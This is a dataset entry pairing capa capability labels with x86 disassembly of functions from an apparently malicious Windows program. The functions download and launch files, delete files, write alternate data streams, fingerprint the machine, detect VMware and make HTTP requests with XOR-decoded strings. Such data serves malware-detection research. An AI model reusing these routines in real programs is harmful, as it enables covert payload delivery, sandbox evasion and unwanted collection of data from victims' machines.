joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4079c5
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb90
push ebx
push esi
push edi
push 0x7f
pop esi
xor ebx, ebx
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x38f]
mov byte [ebp - 0x390], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 8
mov byte [ebp - 0x24], bl
stosb byte es:[edi], al
pop edx
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x23]
rep stosd dword es:[edi], eax
mov ecx, esi
lea edi, [ebp - 0x98f]
mov byte [ebp - 0x990], bl
mov byte [ebp - 0x48], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x47]
mov byte [ebp - 0x590], bl
rep stosd dword es:[edi], eax
mov ecx, esi
lea edi, [ebp - 0x58f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x6b]
mov byte [ebp - 0x6c], bl
rep stosd dword es:[edi], eax
mov ecx, esi
lea edi, [ebp - 0x78f]
mov byte [ebp - 0x790], bl
mov byte [ebp - 0x90], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x8f]
push 0x3f
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x18f]
mov byte [ebp - 0x190], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x390]
push eax
call fcn.00409b23
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x390]
push eax
call fcn.0040a781
mov esi, dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
add esp, 0xc
push str.Hard_Drive:_n
call esi
lea eax, [ebp - 0x390]
push eax
call esi
push 0x41b6c4
call esi
lea eax, [ebp - 0x24]
push eax
call esi
push 0x41b6c0
call esi
lea eax, [ebp - 0x990]
push eax
call fcn.00409b5f
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x990]
push eax
call fcn.0040a781
lea eax, [ebp - 0x590]
push eax
call fcn.00409c41
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x590]
push eax
call fcn.0040a781
lea eax, [ebp - 0x790]
push eax
call fcn.00409d11
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x790]
push eax
call fcn.0040a781
add esp, 0x24
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultLangID]
movzx eax, ax
push eax
lea eax, [ebp - 0xb90]
push 0x41b6bc
push eax
call fcn.0040ba39
lea eax, [ebp - 0x190]
push eax
call fcn.00409d94
mov esi, 0x1000
push esi
call fcn.0040c895
mov edi, eax
push esi
push ebx
push edi
call fcn.0040bc80
lea eax, [ebp - 0x24]
push eax
push edi
call fcn.0040bb70
lea eax, [ebp - 0x48]
push eax
push edi
call fcn.0040bb70
lea eax, [ebp - 0x6c]
push eax
push edi
call fcn.0040bb70
lea eax, [ebp - 0x90]
push eax
push edi
call fcn.0040bb70
add esp, 0x40
push dword [ebp + 8]
push edi
call fcn.0040a781
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407f7a
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
xor esi, esi
lea eax, [ebp - 0x200]
push esi
push esi
push 0x200
push eax
push dword [ebp + 8]
push esi
call sub.urlmon.dll_URLDownloadToCacheFileA
cmp eax, esi
jl 0x40800a
push 0x41b754
push 2
call fcn.00408cb1
push eax
lea eax, [ebp - 0x200]
push eax
call fcn.0040e11a
add esp, 0x10
cmp eax, esi
mov dword [ebp + 8], eax
je 0x407fff
mov ebx, dword [ebp + 0xc]
push edi
push eax
push dword [ebp + 0x10]
push 1
push ebx
call fcn.0040df55
mov edi, eax
add esp, 0x10
test edi, edi
jle 0x407ff1
mov eax, dword [ebp + 0x10]
push dword [ebp + 8]
add esi, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push 1
push eax
jmp 0x407fd0
push dword [ebp + 8]
call fcn.0040e06c
pop ecx
test edi, edi
pop edi
jge 0x408004
or eax, 0xffffffff
jmp 0x40800a
and byte [esi + ebx], 0
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x408010
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
push edi
xor esi, esi
xor eax, eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], esi
mov ebx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edx, ecx
push 0x10
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
push edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x254]
mov dword [ebp - 0x54], 0x44
push eax
call fcn.0040bb60
pop ecx
cmp ebx, esi
pop ecx
je 0x40807a
push 0x41b770
push 1
call fcn.00408cb1
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.0040bb70
lea eax, [ebp - 0x254]
push ebx
push eax
call fcn.0040bb70
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x254]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x4080cd
lea eax, [ebp - 0x254]
push eax
push 0x41b758
push 0x17
call fcn.00408cb1
pop ecx
pop ecx
push eax
push esi
push 0x41a840
push 7
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.00407e55
add esp, 0x10
or eax, 0xffffffff
jmp 0x4080de
cmp dword [ebp - 0xc], esi
je 0x4080db
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4080e3
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push esi
lea eax, [ebp - 0x244]
push dword [ebp + 8]
push eax
call fcn.0040bb60
push 0x41b778
push 1
call fcn.00408cb1
push eax
lea eax, [ebp - 0x244]
push eax
call fcn.0040bb70
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call fcn.0040bb60
push 0x41aaac
push 1
call fcn.00408cb1
push eax
lea eax, [ebp - 0x348]
push eax
call fcn.0040bb70
add esp, 0x30
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4081f8
lea eax, [ebp - 0x114]
push eax
push 0x41aff4
push 1
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.0040d0e0
pop ecx
test eax, eax
pop ecx
je 0x4081db
lea eax, [ebp - 0x114]
push eax
push 0x41b774
push 2
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.0040d0e0
pop ecx
test eax, eax
pop ecx
je 0x4081db
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x44c]
push eax
call fcn.0040bb60
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x44c]
push eax
call fcn.0040bb70
add esp, 0x10
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x408163
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop esi
leave
ret

Function at 0x40824f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
and dword [ebp - 8], 0
push edi
mov edi, dword [ebp + 0x10]
lea ebx, [edi + 4]
push ebx
call fcn.0040c895
push edi
mov esi, eax
push dword [ebp + 0xc]
push esi
call fcn.0040bce0
add esp, 0x10
cmp dword [ebp + 0x14], 0
jne 0x408299
push 1
push 0x41a4fc
push 0xb
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.00408952
push eax
jmp 0x40829c
push dword [ebp + 0x14]
push 0x41a7a8
push 0xb
call fcn.00408cb1
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0040ba39
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push 0xf003f
push eax
push eax
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40831e
push edi
push esi
push eax
call fcn.00408851
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push 4
push eax
lea eax, [esi + edi]
push eax
call fcn.0040bce0
push ebx
push esi
call fcn.00408889
add esp, 0x20
push ebx
push esi
push 3
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
call fcn.0040c7ac
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40844d
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x31058
call fcn.0040c020
push ebx
push edi
xor ebx, ebx
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x317]
mov byte [ebp - 0x318], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x318]
push 0x208
push eax
push ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x41b754
push 2
call fcn.00408cb1
push eax
lea eax, [ebp - 0x318]
push eax
call fcn.0040e11a
add esp, 0x10
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x40851d
cmp byte [ebp + 0xc], bl
je 0x408691
call fcn.0040c6cc
push dword [eax]
call fcn.0040c609
pop ecx
push eax
call fcn.0040c6cc
push dword [eax]
lea eax, [ebp - 0x318]
push eax
push 0x41b7b4
push 0x28
call fcn.00408cb1
pop ecx
pop ecx
push eax
push ebx
push 0x41a840
push 7
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.00407e55
add esp, 0x18
jmp 0x408691
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x41b7b0
push dword [ebp + 8]
call fcn.0040e11a
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
jne 0x40858e
cmp byte [ebp + 0xc], bl
je 0x40867d
call fcn.0040c6cc
push dword [eax]
call fcn.0040c609
pop ecx
push eax
call fcn.0040c6cc
push dword [eax]
push dword [ebp + 8]
push 0x41b784
push 0x28
call fcn.00408cb1
pop ecx
pop ecx
push eax
push ebx
push 0x41a840
push 7
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.00407e55
add esp, 0x18
jmp 0x40867d
push esi
mov esi, 0x30d40
push dword [ebp - 8]
lea eax, [ebp - 0x31058]
push esi
push 1
push eax
call fcn.0040df55
add esp, 0x10
mov edi, eax
cmp edi, ebx
jle 0x4085db
push dword [ebp - 4]
lea eax, [ebp - 0x31058]
push edi
push 1
push eax
call fcn.0040e12d
push dword [ebp - 8]
add dword [ebp - 0xc], edi
lea eax, [ebp - 0x31058]
push esi
push 1
push eax
call fcn.0040df55
add esp, 0x20
jmp 0x4085a9
push ebx
call fcn.0040c33a
push eax
call fcn.0040bc50
call fcn.0040bc5d
cdq
mov ecx, 0x200
idiv ecx
lea eax, [ebp - 0x31058]
mov esi, edx
add esi, 0x40
push esi
push ebx
push eax
call fcn.0040bc80
push dword [ebp - 4]
lea eax, [ebp - 0x31058]
push esi
push 1
push eax
call fcn.0040e12d
add esp, 0x24
lea eax, [ebp - 0x110]
push dword [ebp + 8]
push str._s:bla
push 0x103
push eax
call fcn.0040b9e8
add esp, 0x10
lea eax, [ebp - 0x110]
push ebx
push ebx
push 4
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x408673
lea eax, [ebp + 0xc]
push ebx
push eax
lea eax, [ebp - 0x31058]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 4]
call fcn.0040e06c
pop ecx
pop esi
push dword [ebp - 8]
call fcn.0040e06c
pop ecx
push 7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop edi
pop ebx
leave
ret
Function at 0x408707
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
push 2
push str.POIUHJKLMNBFGRT
call fcn.00408952
xor esi, esi
push eax
push esi
push 4
call dword [sym.imp.KERNEL32.DLL_OpenFileMappingA]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x408799
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov edi, eax
cmp edi, esi
je 0x408790
mov ebx, dword [edi + 8]
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x408789
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push eax
push 0x1388
push 2
push esi
push esi
push 0x8174
push ebx
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
test eax, eax
je 0x408789
cmp dword [ebp - 4], esi
je 0x408789
push edi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
jmp 0x4087e7
push edi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp + 8], esi
jne 0x4087e5
push 1
push 1
push 0x41a4e0
push 7
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.00408952
push eax
lea eax, [ebp - 0x6c]
push 0x64
push eax
push 1
push 0x41b7e0
push 0xe
call fcn.00408cb1
pop ecx
pop ecx
push eax
call fcn.00408952
push eax
call fcn.00408323
add esp, 0x14
test eax, eax
jle 0x4087e5
mov eax, dword [ebp - 0x6c]
jmp 0x4087e7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408851
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 0xc], ecx
not eax
jbe 0x408886
push esi
mov edx, dword [esp + 0xc]
mov esi, eax
and esi, 0xff
movzx edx, byte [ecx + edx]
xor edx, esi
shr eax, 8
mov edx, dword [edx*4 + 0x41f230]
xor eax, edx
inc ecx
cmp ecx, dword [esp + 0x10]
jb 0x408860
pop esi
not eax
ret

Function at 0x408bfe
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x426848], 0
push esi
mov esi, 0x426848
jne 0x408cac
lea eax, [ebp - 4]
mov dword [ebp - 0xc], 1
push eax
push 0x20019
push 0
push 0x41ba88
push 0x29
mov dword [ebp - 8], 0x200
call fcn.00408cb1
pop ecx
pop ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x408c66
push 0x41ba80
push 4
call fcn.00408cb1
push eax
push esi
call fcn.0040bb60
add esp, 0x10
jmp 0x408cac
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push esi
push eax
push 0
push 0x41ba74
push 9
call fcn.00408cb1
pop ecx
pop ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x408ca3
push 0x41ba80
push 4
call fcn.00408cb1
push eax
push esi
call fcn.0040bb60
add esp, 0x10
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x408cb1
Capabilities:
Encode data using xor

Disassembly:
push ecx
cmp dword [0x426a48], 0
push esi
push edi
mov edi, 0x426830
jne 0x408cd3
push edi
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov dword [0x426a48], 1
push edi
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov esi, dword [esp + 0x10]
and dword [esp + 8], 0
test esi, esi
jle 0x408d2f
mov eax, dword [0x429268]
push ebx
push ebp
push 0x14
cdq
pop ebx
mov ecx, dword [esp + 0x1c]
idiv ebx
mov edi, esi
sub edi, ecx
shl edx, 9
lea ebx, [edx + 0x426a4c]
lea eax, [edi + ecx]
push 0x20
cdq
pop ebp
idiv ebp
mov al, byte [edx + 0x41b9e0]
mov edx, dword [esp + 0x10]
xor al, byte [ecx]
inc dword [esp + 0x10]
inc ecx
cmp dword [esp + 0x10], esi
mov byte [ebx + edx], al
jl 0x408d05
pop ebp
mov edi, 0x426830
pop ebx
mov eax, dword [0x429268]
push 0x14
cdq
pop ecx
idiv ecx
push edi
shl edx, 9
and byte [edx + esi + 0x426a4c], 0
inc dword [0x429268]
lea esi, [edx + 0x426a4c]
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, esi
pop edi
pop esi
pop ecx
ret

Function at 0x408dda
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
xor ebx, ebx
push esi
mov dword [eax], ebx
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0xc], ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push 0x20019
push ebx
mov byte [ebp - 1], bl
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push dword [ebp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408eb8
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x408eb8
cmp dword [ebp + 8], 3
jne 0x408eb8
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push esi
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x408e77
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
jmp 0x408eb8
cmp byte [ebp + 0x18], bl
je 0x408e87
push dword [ebp - 8]
push esi
call fcn.00408ece
pop ecx
pop ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + esi - 4]
add eax, 0xfffffffc
push eax
push esi
push ebx
mov dword [ebp + 0x18], ecx
call fcn.0040b3d0
add esp, 0xc
cmp dword [ebp + 0x18], eax
jne 0x408e6a
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov byte [ebp - 1], 1
mov dword [eax], esi
mov eax, dword [ebp - 8]
add eax, 0xfffffffc
mov dword [ecx], eax
cmp dword [ebp - 0xc], ebx
pop edi
pop esi
pop ebx
je 0x408ec9
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 1]
leave
ret
Function at 0x409b23
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 8]
push ebx
push ebx
push ebx
lea eax, [ebp + 8]
push ebx
push eax
push ebx
push ebx
push 0x41b2d8
mov byte [esi], bl
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
test eax, eax
jne 0x409b4a
mov byte [esi], bl
push dword [ebp + 8]
push 0x41bca8
push esi
call fcn.0040ba39
add esp, 0xc
pop esi
pop ebx
pop ebp
ret

Function at 0x409c41
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, 0x200
push edi
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], eax
call fcn.0040c895
mov esi, dword [ebp + 8]
mov edi, eax
pop ecx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
mov byte [esi], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409ca3
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push edi
push eax
push ebx
push str.ProductId
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x409ca7
mov byte [esi], bl
jmp 0x409cc0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push esi
call fcn.0040bb60
push edi
call fcn.0040c7ac
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409d11
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10008
call fcn.0040c020
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], 0xffff
mov byte [esi], bl
call fcn.00409cc5
test eax, eax
jne 0x409d77
lea eax, [ebp + 8]
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409d77
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10008]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push str.MachineGuid
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x409d7b
mov byte [esi], bl
jmp 0x409d90
lea eax, [ebp - 0x10008]
push eax
push 0x41a45c
push esi
call fcn.0040ba39
add esp, 0xc
pop esi
pop ebx
leave
ret
Function at 0x40a33c
Capabilities:
Get networking parameters

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c040
push 0x40e93c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor ebx, ebx
mov byte [ebp - 0x1c], bl
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x24]
push eax
push ebx
call sub.iphlpapi.dll_GetNetworkParams
mov dword [ebp - 0x28], eax
cmp eax, 0x6f
jne 0x40a3fc
push dword [ebp - 0x24]
call fcn.0040d003
mov esi, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x20], esi
push dword [ebp - 0x24]
push ebx
push esi
call fcn.0040bc80
add esp, 0x10
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push esi
call sub.iphlpapi.dll_GetNetworkParams
mov dword [ebp - 0x28], eax
cmp eax, ebx
jne 0x40a3fc
mov eax, dword [esi + 0x108]
cmp eax, ebx
je 0x40a3d2
push str.192.168.1.39
add eax, 4
push eax
call fcn.0040ba90
pop ecx
pop ecx
test eax, eax
jne 0x40a3d2
mov byte [ebp - 0x1c], 1
cmp byte [ebp - 0x1c], bl
jne 0x40a3fc
add esi, 0x10c
mov dword [ebp - 0x30], esi
cmp esi, ebx
je 0x40a3fc
push str.192.168.1.39
lea eax, [esi + 4]
push eax
call fcn.0040ba90
pop ecx
pop ecx
test eax, eax
jne 0x40a407
mov byte [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.0040a40d
jmp 0x40a41c
mov esi, dword [esi]
jmp 0x40a3dd
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a4ab
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c060
push 0x40e93c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x40a50b
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a521
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
push 0x41c08c
push 0x30
call fcn.00408cb1
push 0x41c088
push 3
mov dword [ebp - 0xc], eax
call fcn.00408cb1
add esp, 0x10
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 4], edi
je 0x40a680
push ebx
push ebx
push 3
push ebx
push dword [ebp + 8]
push 0x50
push dword [ebp + 8]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x10], esi
jne 0x40a594
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40a680
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x117]
mov byte [ebp - 0x118], bl
push 0x41c06c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 7
stosb byte es:[edi], al
call fcn.00408cb1
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.0040bb70
push dword [ebp + 8]
lea eax, [ebp - 0x118]
push eax
call fcn.0040bb70
push dword [ebp + 0xc]
lea eax, [ebp - 0x118]
push eax
call fcn.0040bb70
add esp, 0x20
lea eax, [ebp - 0x18]
push ebx
push 0x84600200
push eax
lea eax, [ebp - 0x118]
push eax
push 0x41c07c
push 8
call fcn.00408cb1
pop ecx
pop ecx
push eax
push dword [ebp + 0xc]
push str.UQ_b
push 4
call fcn.00408cb1
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
cmp edi, ebx
mov dword [ebp + 8], edi
jne 0x40a62f
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
jmp 0x40a679
push 0xa0000000
push dword [ebp - 0xc]
call fcn.0040c050
pop ecx
push eax
push dword [ebp - 0xc]
push edi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
je 0x40a66f
push dword [ebp + 0x10]
call fcn.0040c050
push dword [ebp + 0x10]
call fcn.0040c050
pop ecx
pop ecx
push eax
push dword [ebp + 0x10]
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x40a688
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
push dword [ebp - 4]
call edi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x40a6e1
mov edi, dword [ebp + 0x18]
xor esi, esi
mov dword [ebp - 8], 1
mov eax, dword [edi]
cmp eax, ebx
jbe 0x40a6c2
lea ecx, [ebp - 8]
sub eax, esi
push ecx
push eax
mov eax, dword [ebp + 0x14]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40a6c2
cmp dword [ebp - 8], ebx
jbe 0x40a6c2
add esi, dword [ebp - 8]
mov eax, dword [edi]
cmp esi, eax
jb 0x40a69a
mov eax, dword [ebp + 0x14]
push dword [ebp + 8]
mov dword [edi], esi
mov byte [esi + eax], bl
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x14